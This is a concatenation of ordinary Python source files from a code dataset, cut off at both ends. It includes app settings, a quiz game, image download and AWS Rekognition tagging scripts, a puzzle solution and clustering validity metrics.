= None\n\nPARSER_DOWNLOAD_DEPENDENCIES = True\n\"\"\" boolean: Does the parser download dependencies\n\"\"\"\n\nEXPLORE_ADD_DEFAULT_LOCAL_DATA_SOURCE_TO_QUERY = True\n\"\"\" boolean: Do we add the local data source to new queries by default\n\"\"\"\n\nSSL_CERTIFICATES_DIR = True\n\"\"\" Either a boolean, in which case it controls whether requests verify the server's TLS certificate, \nor a string, in which case it must be a path to a CA bundle to use.\n\"\"\"\n\nXSD_URI_RESOLVER = \"REQUESTS_RESOLVER\"\n\"\"\" :py:class:`str`: XSD URI Resolver for lxml validation. Choose from: None, 'REQUESTS_RESOLVER'.\n\"\"\"\n\nDISPLAY_EDIT_BUTTON = True\n\"\"\" boolean: Display the edit button on the result page\n\"\"\"\nDATA_SORTING_FIELDS = [\"-last_modification_date\"]\n\"\"\" Array<string>: Default sort fields for the data query. \n\"\"\"\nDATA_DISPLAYED_SORTING_FIELDS = [\n {\n \"field\": \"last_modification_date\",\n \"display\": \"Last updated\",\n \"ordering\": \"-last_modification_date\",\n },\n {\n \"field\": \"last_modification_date\",\n \"display\": \"First updated\",\n \"ordering\": \"+last_modification_date\",\n },\n {\"field\": \"title\", \"display\": \"Titles (A-Z)\", \"ordering\": \"+title\"},\n {\"field\": \"title\", \"display\": \"Titles (Z-A)\", \"ordering\": \"-title\"},\n {\"field\": \"template\", \"display\": \"Templates\", \"ordering\": \"+template\"},\n]\n\"\"\"The default sorting fields displayed on the GUI, Data model field Array\"\"\"\nSORTING_DISPLAY_TYPE = \"single\"\n\"\"\"Result sorting graphical display type ('multi' / 'single')\"\"\"\nDEFAULT_DATE_TOGGLE_VALUE = True\n\"\"\" boolean: Set the toggle default value in the records list\n\"\"\"\nDISPLAY_PRIVACY_POLICY_FOOTER = False\n\"\"\" boolean: display the privacy policy link in the footer\n\"\"\"\nDISPLAY_TERMS_OF_USE_FOOTER = True\n\"\"\" boolean: display the terms of use link in the footer\n\"\"\"\nDISPLAY_CONTACT_FOOTER = False\n\"\"\" boolean: display the contact link in the footer\n\"\"\"\nDISPLAY_HELP_FOOTER = False\n\"\"\" boolean: display the help link in the footer\n\"\"\"\nDISPLAY_RULES_OF_BEHAVIOR_FOOTER = False\n\"\"\" boolean: display the rules of behavior link in the footer\n\"\"\"\n\nID_PROVIDER_SYSTEMS = {\n \"local\": {\n \"class\": \"core_linked_records_app.utils.providers.local.LocalIdProvider\",\n \"args\": [],\n },\n # \"handle\": {\n # \"class\": \"core_linked_records_app.utils.providers.handle_net.HandleNetSystem\",\n # \"args\": [\n # \"https://handle-server.example.org:8000\",\n # \"300%3APREFIX/USER\",\n # \"password\",\n # ],\n # },\n}\n\"\"\" dict: provider systems available for registering PIDs.\n\"\"\"\n\nID_PROVIDER_PREFIXES = [\"cdcs\"]\n\"\"\" list<str>: accepted providers if manually specifying PIDs (first item is the\ndefault prefix)\n\"\"\"\n\nPID_XPATH = \"root.pid\"\n\"\"\" string: location of the PID in the document, specified as dot notation\n\"\"\"\n\nAUTO_SET_PID = False\n\"\"\" boolean: enable the automatic pid generation for saved data.\n\"\"\"\n\nENABLE_SAML2_SSO_AUTH = os.getenv(\"ENABLE_SAML2_SSO_AUTH\", \"False\").lower() == \"true\"\n\"\"\" boolean: enable SAML2 SSO authentication.\n\"\"\"\n","sub_path":"mdcs/core_settings.py","file_name":"core_settings.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"270689821","text":"from random import *\ncount = 0\nscore = 0\nblah = True\nwhile blah :\n x = randint(0,10)\n y = randint(1,10)\n\n oper_list = [\"+\", \"-\", \"*\", \"/\"]\n random_index = randrange(0, len(oper_list))\n oper = oper_list[random_index]\n\n if oper == \"+\":\n a = x + y\n elif oper == \"-\":\n a = x - y\n elif oper == \"*\":\n a = x * y\n elif oper == \"/\":\n a = round(x / y, 1)\n\n\n b = randrange(-1,2)\n c = a + b\n print (x , oper, y, \"=\", c)\n if b == 0:\n ans = input(\"Y/N? \").upper()\n if ans == \"Y\":\n print(\"Yay\")\n score += 1\n else:\n print(\"Stupid!\")\n blah = False\n else:\n ans = input(\"Y/N? \").upper()\n if ans == \"N\":\n print(\"Yay\")\n score += 1\n else:\n print(\"Stupid!\")\n blah = False\n print(\"*\" * 20)\n # count +=1\nprint(\"Your score: \", score)\n","sub_path":"Session-6/blah.py","file_name":"blah.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"147883426","text":"# coding:utf-8\n# version:python3.6.2\n# author:kyh\n# download images from database\n\nimport psycopg2\nimport requests\n\n\n# 连接数据库\ndef db_connect():\n connection = psycopg2.connect(database=\"geolocalization\", user=\"postgres\",\n password=\"postgres\", host=\"127.0.0.1\", port=\"5432\")\n cursor = connection.cursor()\n print(\"Database Connection has been opened completely!\")\n return connection, cursor\n\n\n# 查询需要补充信息的照片\ndef query_photo(db_connection, db_cursor):\n sql_command_select = \"SELECT id,url FROM photo WHERE download='FALSE' LIMIT 1\"\n db_cursor.execute(sql_command_select)\n photo = db_cursor.fetchone()\n if photo is not None:\n photo_id = photo[0]\n photo_url = photo[1]\n try:\n sql_command_update = \"UPDATE photo SET download='TRUE' WHERE id={0}\".format(photo_id)\n db_cursor.execute(sql_command_update)\n db_connection.commit()\n return photo_id, photo_url\n except Exception as e:\n with open('log.txt', 'a') as log_file:\n log_file.writelines(str(e))\n db_connection.rollback()\n return None, None\n else:\n return None, None\n\n\ndef download_photo(id, url):\n try:\n response = requests.get(url)\n if response.status_code == 200:\n with open(\"image/{0}.jpg\".format(id), 'wb') as file:\n file.write(response.content)\n print(\"Download successfully! Photo_ID:{0}, Photo_URL:{1}\".format(id, url))\n except Exception as e:\n with open('log.txt', 'a') as log_file:\n log_file.writelines(str(e))\n\n\n# 关闭数据库\ndef close_connection(connection):\n try:\n connection.close()\n print(\"Database Connection has been closed completely!\")\n return True\n except Exception as e:\n with open('log.txt', 'a') as log_file:\n log_file.writelines(str(e))\n\n\nif __name__ == '__main__':\n connection, cursor = db_connect()\n id, url = query_photo(connection, cursor)\n while id is not None:\n try:\n download_photo(id, url)\n id, url = query_photo(connection, cursor)\n except Exception as e:\n with open('log.txt', 'a') as log_file:\n log_file.writelines(str(e))\n close_connection(connection)\n","sub_path":"download_img.py","file_name":"download_img.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"608321389","text":"\n# coding: utf-8\n\n# # Amazon Rekognition – Image Detection and Recognition \n\n# In[11]:\n\n\nimport boto\nimport boto3\nconn = boto.connect_s3()\nimport requests\nimport pandas as pd\nimport numpy as np\n\n\n# In[12]:\n\n\n# Read in CSVs from Steve\nig_urls_pics = pd.read_csv('/Users/Chudi8GB/Downloads/InstaPicsImageURLS.csv',names = ['url'])\nig_urls_vids = pd.read_csv('/Users/Chudi8GB/Downloads/InstaVidsVideoURLS.csv',names = ['url'])\n\n\n# In[13]:\n\n\nig_urls_pics.head(3)\n\n\n# In[14]:\n\n\nig_urls_pics.shape\n\n\n# In[15]:\n\n\nig_urls_vids.head(3)\n\n\n# In[16]:\n\n\nig_urls_vids.shape\n\n\n# In[17]:\n\n\n# Create a list of urls for instagram pics\nimage_list = ig_urls_pics.url\n\n\n# In[18]:\n\n\nlen(image_list)\n\n\n# In[19]:\n\n\n# Uses the creds in ~/.aws/credentials\ns3 = boto3.resource('s3')\nbucket_name_to_upload_image_to = 'trackmavenig'\n\n\n# In[20]:\n\n\n# Do this as a quick and easy check to make sure your S3 access is OK\nfor bucket in s3.buckets.all():\n if bucket.name == bucket_name_to_upload_image_to:\n print('Good to go. Found the bucket to upload the image into.')\n good_to_go = True\n\nif not good_to_go:\n print('Not seeing your s3 bucket, might want to double check permissions in IAM')\n\n\n# In[22]:\n\n\n# Code from Natalie's Medium post.\n# Allows user to upload pics to a bucket on Amazon AWS verses saving it their local machine.\n\nmapping_dict ={}\n# for i, img_url in enumerate(image_list[0:10000]):\nfor i, img_url in enumerate(image_list[0:100]):\n \n img_name = \"img_%05d\" % (i,)\n mapping_dict[img_name] = img_url\n \n if (img_url == np.nan) | (str(img_url) == \"nan\"):\n continue\n else:\n # Uses the creds in ~/.aws/credentials\n s3_image_filename = img_name\n internet_image_url = img_url\n\n # Given an Internet-accessible URL, download the image and upload it to S3,\n # without needing to persist the image to disk locally\n req_for_image = requests.get(internet_image_url, stream=True)\n file_object_from_req = req_for_image.raw\n req_data = file_object_from_req.read()\n\n # Do the actual upload to s3\n s3.Bucket(bucket_name_to_upload_image_to).put_object(Key=s3_image_filename, Body=req_data)\n\n\n# # Save down your mapping dict so that you can eventually re-map your image tags to your full dataframe.\n\n# In[24]:\n\n\nmapping_dict = pd.DataFrame(mapping_dict, index = range(0,len(mapping_dict)))\n# mapping_dict = pd.DataFrame(md_01.T[0])\nmapping_dict.to_csv('mappingdict.csv')\n\n\n# # Creates both wide and long df's with image tags from Rekognition:\n\n# In[ ]:\n\n\nbucket_name = 'trackmavenig'\ns3 = boto3.resource('s3')\nbucket = s3.Bucket(bucket_name)\nimages = [img.key for img in bucket.objects.all()]\nclient = boto3.client('rekognition')\n\nresults_wide = []\nresults_long = []\n\nfor img in images:\n img_dict_wide = {'img': img}\n #print(img)\n try:\n labels = client.detect_labels(Image={'S3Object':{'Bucket':bucket_name,'Name':img}},MinConfidence=75)\n if 'Labels' in labels:\n for l, label in enumerate(labels['Labels']):\n results_long.append({'img': img, 'type': 'Label', 'label': label['Name'], \n 'confidence': label['Confidence']})\n col = 'label_' + str(l)\n img_dict_wide[col] = label['Name']\n img_dict_wide[col + '_confidence'] = label['Confidence'] \n except:\n continue\n try: \n celebrities = client.recognize_celebrities(Image={'S3Object':{'Bucket':bucket_name,'Name':img}})\n if 'CelebrityFaces' in celebrities:\n for f, face in enumerate(celebrities['CelebrityFaces']):\n results_long.append({'img': img, 'type': 'Celebrity', 'label': face['Name'], \n 'confidence': face['Face']['Confidence']})\n col = 'celeb_' + str(f)\n img_dict_wide[col] = face['Name']\n img_dict_wide[col + '_confidence'] = face['Face']['Confidence']\n except:\n continue\n try:\n text_in_image = client.detect_text(Image={'S3Object':{'Bucket':bucket_name,'Name':img}})\n if \"TextDetections\" in text_in_image:\n for w, word in enumerate(text_in_image[\"TextDetections\"]):\n results_long.append({'img': img, 'type': \"Text\", 'label': word[\"DetectedText\"],\n 'confidence': word[\"Confidence\"]})\n col = 'word_' + str(w)\n img_dict_wide[col] = word[\"DetectedText\"]\n img_dict_wide[col+ '_confidence'] = word[\"Confidence\"]\n except:\n continue\n \n if 'Labels' not in labels and 'CelebrityFaces' not in celebrities and \"TextDetections\" not in text_in_image:\n results_long.append({'img': img, 'type': None, 'label': None, 'confidence': None})\n \n results_wide.append(img_dict_wide)\n####\n####\nimg_df_long = pd.DataFrame(results_long, columns=['img', 'type', 'label', 'confidence'])\nimg_df_wide = pd.DataFrame(results_wide)\ncols = sorted(img_df_wide.columns)\n# cols.remove('img')\nimg_df_wide = img_df_wide[['img'] + cols]\n\n\n# # Save down your dfs.\n# \n\n# In[ ]:\n\n\n#For our topic modelers only focused on images data!\nimg_df_long.to_csv(\"instagram_pics_text_long.csv\")\n\n#For mapping to the dataframe provided to us.\nimg_df_wide.to_csv(\"instagram_pics_text_wide.csv\")\n\n","sub_path":"AWS_old.py","file_name":"AWS_old.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"328469338","text":"import sys\ninput = sys.stdin.readline\n\nn,m = map(int, input().split())\ncmd = []\ntrain=[[0 for _ in range(21)] for _ in range(n+1)]\ncrossed = []\ncnt=0\n\nfor _ in range(m):\n cmd.append(list(map(int,input().split())))\n c = cmd[-1][0] # 명령 번호\n tn = cmd[-1][1] # 기차 번호\n if c==1:\n if train[tn][cmd[-1][2]]==0:\n train[tn][cmd[-1][2]]=1\n elif c==2:\n if train[tn][cmd[-1][2]]==1:\n train[tn][cmd[-1][2]]=0\n elif c==3:\n for j in range(20,0,-1):\n if j==20: # 마지막 자리에 사람있는 경우 하차\n train[tn][j]=0 \n if train[tn][j]==1:\n train[tn][j+1]=1\n train[tn][j]=0 \n elif c==4:\n for j in range(1,21):\n if train[tn][j]==1:\n train[tn][j-1]=1\n train[tn][j]=0\n \nfor t in range(1,len(train)):\n train[t][0]=0 # 첫번째 자리에 1이 있는 경우 4번 명령을 하면 인덱스 0에 1이 들어가므로 인덱스 0은 모두 0으로 바꿔준다\n if train[t] in crossed: # 같은 배열 이미 지나간 경우\n continue\n else: \n cnt+=1\n crossed.append(train[t])\n \nprint(cnt)\n","sub_path":"Algorithm/EUNWOO/15787.py","file_name":"15787.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"149955812","text":"from os import error\nfrom numpy import nan\nimport pandas as pd\nimport json\nimport math\n\ndef dwell_time(session):\n entry = {}\n\n modal_shows = session[session[\"eventDetails.name\"] == \"MODAL_DIALOG_SHOW\"]\n modal_hides = session[session[\"eventDetails.name\"] == \"MODAL_DIALOG_HIDE\"]\n\n outcome = 0\n if(modal_shows.shape[0] != modal_hides.shape[0]):\n entry[\"total\"] = \"-\"\n entry[\"average\"] = \"-\"\n return entry\n for i in range(modal_shows.shape[0]):\n show = modal_shows[\"timestamps.sinceSessionStartMillis\"].iloc[i]\n hide = modal_hides[\"timestamps.sinceSessionStartMillis\"].iloc[i]\n diff = hide - show\n outcome += diff\n entry[\"total\"] = int(outcome)\n entry[\"average\"] = outcome/(modal_shows.shape[0]) if outcome > 0 else 0 #Sometimes average outcome results in -0.0, so that is replaced by 0.\n return entry ","sub_path":"worker/logui_apps/control_api/dashboard/dwell_time.py","file_name":"dwell_time.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"519540477","text":"import heapq\nimport math\nimport sys\nimport numpy as np\nfrom sklearn import metrics\nimport metrics.cluster_centroid as cluster_centroid\nimport metrics.utils as utils\n'''\nimport Constants\n\ndef metric(X, n_clusters, labels, metric):\n if (n_clusters == 1):\n return Constants.bad_cluster\n if (Constants.dunn_metric in metric):\n dun = dunn(X, labels)\n return dun\n if (Constants.cal_har_metric in metric):\n ch = calinski_harabasz(X, n_clusters, labels)\n return ch\n if (Constants.silhouette_metric in metric):\n sc = silhoette(X, labels) # [-1, 1]\n return sc\n if (Constants.davies_bouldin_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n db = davies_bouldin(X, n_clusters, labels, centroids)\n return db\n if (Constants.dunn31_metric in metric):\n gd31 = dunn31(X, labels, n_clusters)\n return gd31\n if (Constants.dunn41_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n gd41 = dunn41(X, labels, n_clusters, centroids)\n return gd41\n if (Constants.dunn51_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n gd51 = dunn51(X, labels, n_clusters, centroids)\n return gd51\n if (Constants.dunn33_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n gd33 = dunn33(X, labels, n_clusters, centroids)\n return gd33\n if (Constants.dunn43_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n gd43 = dunn43(X, labels, n_clusters, centroids)\n return gd43\n if (Constants.dunn53_metric in metric):\n centroids = cluster_centroid(X, labels, n_clusters)\n gd53 = dunn53(X, labels, n_clusters, centroids)\n return gd53\n if (Constants.gamma_metric in metric):\n g = gamma(X, labels, n_clusters)\n return g\n if (Constants.cs_metric in metric):\n cs = cs_index(X, labels, n_clusters)\n return cs\n if (Constants.db_star_metric in metric):\n dbs = db_star_index(X, labels, n_clusters)\n return dbs\n if (Constants.sf_metric in metric):\n sf_score = sf(X, labels, n_clusters)\n return sf_score\n if (Constants.sym_metric in metric):\n sym_score = sym(X, labels, n_clusters)\n return sym_score\n if (Constants.cop_metric in metric):\n cop_score = cop(X, labels, n_clusters)\n return cop_score\n if (Constants.sv_metric in metric):\n sv_score = sv(X, labels, n_clusters)\n return sv_score\n if (Constants.os_metric in metric):\n os_score = os(X, labels, n_clusters)\n return os_score\n if (Constants.sym_bd_metric in metric):\n sym_db_score = sym_db(X, labels, n_clusters)\n return sym_db_score\n if (Constants.s_dbw_metric in metric):\n s_dbw_score = s_dbw(X, labels, n_clusters)\n return s_dbw_score\n if (Constants.c_ind_metric in metric):\n c_ind_score = c_ind(X, labels, n_clusters)\n return c_ind_score\n return 100.0\n'''\n\n# Dunn index, max is better, add -\ndef dunn(X, labels):\n rows, colums = X.shape\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n for i in range(0, int(math.ceil(float(rows) / 2.0))):\n for j in range(0, rows):\n dist = utils.euclidian_dist(X[i], X[j])\n if (labels[i] != labels[j]):\n minimum_dif_c = min(dist, minimum_dif_c)\n else:\n maximum_same_c = max(dist, maximum_same_c)\n return - minimum_dif_c / maximum_same_c\n\n\n# Calinski-Harabasz index, max is better, add -\ndef calinski_harabasz(X, n_clusters, labels):\n '''\n xlabels = [0 for _ in range(len(X))]\n x_center = cluster_centroid(X, xlabels, 1)[0]\n centroids = cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n\n ch = float(rows - n_clusters) / float(n_clusters - 1)\n\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n\n sum = 0\n for i in range(0, n_clusters):\n sum += point_in_c[i] * euclidian_dist(centroids[i], x_center)\n\n sum_div = 0\n for i in range(0, rows):\n sum_div += euclidian_dist(X.iloc[i], centroids[labels[i]])\n\n ch *= float(sum)\n ch /= float(sum_div)\n return ch\n '''\n return -metrics.calinski_harabaz_score(X, labels)\n\n\n# Silhouette Coefficient, max is better, [-1, 1], add -\ndef silhoette(X, labels):\n return -metrics.silhouette_score(X, labels, metric='euclidean')\n\n\n# Not used anywhere.\n# Will be removed soon.\ndef binomial_coeff(x, y):\n if y == x:\n return 1\n elif y == 1:\n return 1\n elif y > x:\n return 1\n else:\n a = math.factorial(x)\n b = math.factorial(y)\n c = math.factorial(x - y)\n div = a // (b + c)\n return div\n\n\n# C-index, min is better\ndef c_ind(X, labels, n_clusters):\n rows, colums = X.shape\n s_c = 0\n for i in range(0, rows):\n for j in range(0, int(math.ceil(float(rows) / 2.0))):\n s_c += utils.euclidian_dist(X[i], X[j])\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n\n n_w = 0\n for k in range(0, n_clusters):\n n_w += cluster_sizes[k] * (cluster_sizes[k] - 1) / 2\n\n distances = []\n for i in range(0, len(labels)-1):\n for j in range(i+1, len(labels)):\n distances.append(utils.euclidian_dist(X[i], X[j]))\n\n s_min = heapq.nsmallest(int(n_w), distances)\n s_max = heapq.nlargest(int(n_w), distances)\n\n ones = [1] * int(n_w)\n s_min_c = np.dot(s_min, np.transpose(ones))\n s_max_c = np.dot(s_max, np.transpose(ones))\n # TODO check dot product correct\n return (s_c - s_min_c) / (s_max_c - s_min_c)\n\n\ndef s(X, cluster_k_index, cluster_sizes, labels, centroids):\n sss = 0\n for i in range(0, len(labels)):\n if (labels[i] == cluster_k_index):\n sss += utils.euclidian_dist(X[i], centroids[cluster_k_index])\n return sss / cluster_sizes[cluster_k_index]\n\n\n\n# Davies-Bouldin index, min is better\ndef davies_bouldin(X, n_clusters, labels):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n db = 0\n point_in_c = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n tmp = sys.float_info.min\n for i in range(0, n_clusters):\n for j in range(0, n_clusters):\n if i != j:\n tm = utils.euclidian_dist(centroids[i], centroids[j])\n if tm != 0:\n a = (s(X, i, point_in_c, labels, centroids)\n + s(X, j, point_in_c, labels, centroids)) / tm\n else:\n pass\n #a = -Constants.bad_cluster\n tmp = max(tmp, a)\n db += tmp\n db /= float(n_clusters)\n return db\n\n\n# gD31, Dunn index, max is better, add -\ndef dunn31(X, labels, n_clusters):\n rows, colums = X.shape\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n delta_l = [[0.0] * n_clusters] * n_clusters\n delta = np.array(delta_l)\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n for i in range(0, rows):\n for j in range(0, rows):\n dist = utils.euclidian_dist(X[i], X[j])\n if labels[i] != labels[j]:\n delta[labels[i]][labels[j]] += dist\n else:\n maximum_same_c = max(dist, maximum_same_c)\n for i in range(0, n_clusters):\n for j in range(0, n_clusters):\n delta[i][j] /= float(point_in_c[i] * point_in_c[j])\n minimum_dif_c = min(minimum_dif_c, delta[i][j])\n return - minimum_dif_c / maximum_same_c\n\n\n# gD41, Dunn index, max is better, add -\ndef dunn41(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n centres_l = [[0.0] * n_clusters] * n_clusters\n centers = np.array(centres_l)\n for i in range(0, n_clusters):\n for j in range(0, n_clusters):\n centers[i][j] = utils.euclidian_dist(centroids[i], centroids[j])\n\n for i in range(0, int(math.ceil(float(rows) / 2.0))):\n for j in range(0, rows):\n if (labels[i] != labels[j]):\n dist = centers[labels[i]][labels[j]]\n minimum_dif_c = min(dist, minimum_dif_c)\n else:\n dist = utils.euclidian_dist(X[i], X[j])\n maximum_same_c = max(dist, maximum_same_c)\n return - minimum_dif_c / maximum_same_c\n\n\n# gD51, Dunn index, max is better, add -\ndef dunn51(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n delta_l = [[0.0] * n_clusters] * n_clusters\n delta = np.array(delta_l)\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n for i in range(0, int(math.ceil(float(rows) / 2.0))):\n for j in range(0, rows):\n if (labels[i] != labels[j]):\n delta[labels[i]][labels[j]] += utils.euclidian_dist(X[i], centroids[labels[i]]) +\\\n utils.euclidian_dist(X[j], centroids[labels[j]])\n else:\n dist = utils.euclidian_dist(X[i], X[j])\n maximum_same_c = max(dist, maximum_same_c)\n for i in range(0, n_clusters):\n for j in range(0, n_clusters):\n delta[i][j] /= float(point_in_c[i] + point_in_c[j])\n minimum_dif_c = min(minimum_dif_c, delta[i][j])\n return - minimum_dif_c / maximum_same_c\n\n\n# gD33, Dunn index, max is better, add -\ndef dunn33(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n delta_l = [[0.0] * n_clusters] * n_clusters\n delta = np.array(delta_l)\n dl = [0.0] * n_clusters\n d = np.array(dl)\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n for i in range(0, rows):\n for j in range(0, rows):\n dist = utils.euclidian_dist(X[i], X[j])\n if labels[i] != labels[j]:\n delta[labels[i]][labels[j]] += dist\n else:\n d[labels[i]] += utils.euclidian_dist(X[i], centroids[labels[i]])\n for i in range(0, n_clusters):\n d[i] /= point_in_c[i]\n d[i] += 2.0\n maximum_same_c = max(d[i], maximum_same_c)\n for j in range(0, n_clusters):\n delta[i][j] /= float(point_in_c[i] * point_in_c[j])\n minimum_dif_c = min(minimum_dif_c, delta[i][j])\n return - minimum_dif_c / maximum_same_c\n\n\n# gD43, Dunn index, max is better, add -\ndef dunn43(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n dl = [0.0] * n_clusters\n d = np.array(dl)\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n centres_l = [[0.0] * n_clusters] * n_clusters\n centers = np.array(centres_l)\n for i in range(0, n_clusters):\n for j in range(0, n_clusters):\n centers[i][j] = utils.euclidian_dist(centroids[i], centroids[j])\n\n for i in range(0, rows):\n for j in range(0, rows):\n if labels[i] != labels[j]:\n dist = centers[labels[i]][labels[j]]\n minimum_dif_c = min(dist, minimum_dif_c)\n else:\n d[labels[i]] += utils.euclidian_dist(X[i], centroids[labels[i]])\n\n for i in range(0, n_clusters):\n d[i] /= point_in_c[i]\n d[i] += 2.0\n maximum_same_c = max(d[i], maximum_same_c)\n return - minimum_dif_c / maximum_same_c\n\n\n# gD53, Dunn index, max is better, add -\ndef dunn53(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n rows, colums = X.shape\n dl = [0.0] * n_clusters\n d = np.array(dl)\n point_in_c = [0] * n_clusters\n for i in range(0, len(labels)):\n point_in_c[labels[i]] += 1\n delta_l = [[0.0] * n_clusters] * n_clusters\n delta = np.array(delta_l)\n minimum_dif_c = sys.float_info.max # min dist in different clusters\n maximum_same_c = sys.float_info.min # max dist in the same cluster\n for i in range(0, int(math.ceil(float(rows) / 2.0))):\n for j in range(0, rows):\n if (labels[i] != labels[j]):\n delta[labels[i]][labels[j]] += (utils.euclidian_dist(X[i], centroids[labels[i]]) +\n utils.euclidian_dist(X[j], centroids[labels[j]]))\n else:\n d[labels[i]] += utils.euclidian_dist(X[i], centroids[labels[i]])\n\n for i in range(0, n_clusters):\n d[i] /= point_in_c[i]\n d[i] += 2.0\n maximum_same_c = max(d[i], maximum_same_c)\n for j in range(0, n_clusters):\n delta[i][j] /= float(point_in_c[i] + point_in_c[j])\n minimum_dif_c = min(minimum_dif_c, delta[i][j])\n return - minimum_dif_c / maximum_same_c\n\n\n# Gamma index:\n# TODO: may require adding explicit casts from int to double\ndef nW(n_clusters, cluster_sizes):\n result = 0.0\n for i in range(0, n_clusters):\n num = cluster_sizes[i]\n if num > 2:\n result += num * (num - 1.0) / 2.0\n return result\n\n\ndef dl(X, labels, distance, n_clusters):\n result = 0\n\n for k in range(0, n_clusters - 1):\n for l in range(k + 1, n_clusters):\n if labels[k] == labels[l]: continue\n # x_k and x_l different clusters:\n if utils.euclidian_dist(X[k], X[l]) < distance:\n result += 1\n return result\n\n\n# gamma, gamma index, mim is better\ndef gamma(X, labels, n_clusters):\n numerator = 0.0\n elements, ignore_columns = X.shape\n\n for c_k in range(0, n_clusters):\n for i in range(0, elements - 1):\n if labels[i] != c_k: continue\n for j in range(i + 1, elements):\n if labels[j] != c_k: continue\n # x_i and x_j in c_k:\n distance = utils.euclidian_dist(X[i], X[j])\n numerator += dl(X, labels, distance, n_clusters)\n\n N = elements\n c_n_2 = (N * (N - 1)) / 2.0\n\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n nw = nW(n_clusters, cluster_sizes)\n\n return numerator / nw * (c_n_2 - nw)\n\n\n# cs, CS-index, min is better\ndef cs_index(X, labels, n_clusters):\n elements, ignore_columns = X.shape\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n max_dists = [sys.float_info.min] * elements\n\n for i in range(0, elements): # for every element\n for j in range(i, elements - 1): # for every other\n if labels[i] != labels[j]: continue # if they are in the same cluster\n # update the distance to the farthest element in the same cluster\n max_dists[i] = max(max_dists[i], utils.euclidian_dist(X[i], X[j]))\n\n # max_dists contain for each element the farthest the his cluster\n\n numerator = 0.0\n for i in range(0, elements):\n numerator += max_dists[i] / cluster_sizes[labels[i]]\n\n denominator = 0.0\n for i in range(0, n_clusters):\n min_centroids_dist = sys.float_info.max\n for j in range(i + 1, n_clusters):\n min_centroids_dist = min(utils.euclidian_dist(centroids[i], centroids[j]), min_centroids_dist)\n denominator += min_centroids_dist\n\n assert denominator != 0.0\n return numerator / denominator\n\n\n# db_star, DB*-index, min is better\ndef db_star_index(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n numerator = 0.0\n for k in range(0, n_clusters):\n max_s_sum = sys.float_info.min\n min_centroids_dist = sys.float_info.max\n for l in range(k + 1, n_clusters):\n max_s_sum = max(max_s_sum,\n s(X, k, cluster_sizes, labels, centroids)\n + s(X, l, cluster_sizes, labels, centroids))\n min_centroids_dist = min(min_centroids_dist, utils.euclidian_dist(centroids[k], centroids[l]))\n numerator += max_s_sum / min_centroids_dist\n return numerator / n_clusters\n\n\n# Score Function:\ndef bcd_score(X, labels, n_clusters, centroids, cluster_sizes):\n mean_x = np.mean(X, axis=0)\n numerator = 0.0\n for k in range(0, n_clusters):\n numerator += cluster_sizes[k] * utils.euclidian_dist(centroids[k], mean_x)\n return numerator / len(labels) / n_clusters\n\n\ndef wcd_score(X, labels, n_clusters, centroids, cluster_sizes):\n numerator = 0.0\n for i in range(0, len(labels)):\n numerator += utils.euclidian_dist(X[i], centroids[labels[i]]) / cluster_sizes[labels[i]]\n return numerator\n\n\n# sf, Score Function, max is better, added -\ndef sf(X, labels, n_clusters):\n centroids = cluster_centroid.cluster_centroid(X, labels, n_clusters)\n cluster_sizes = cluster_centroid.count_cluster_sizes(labels, n_clusters)\n\n bcd = 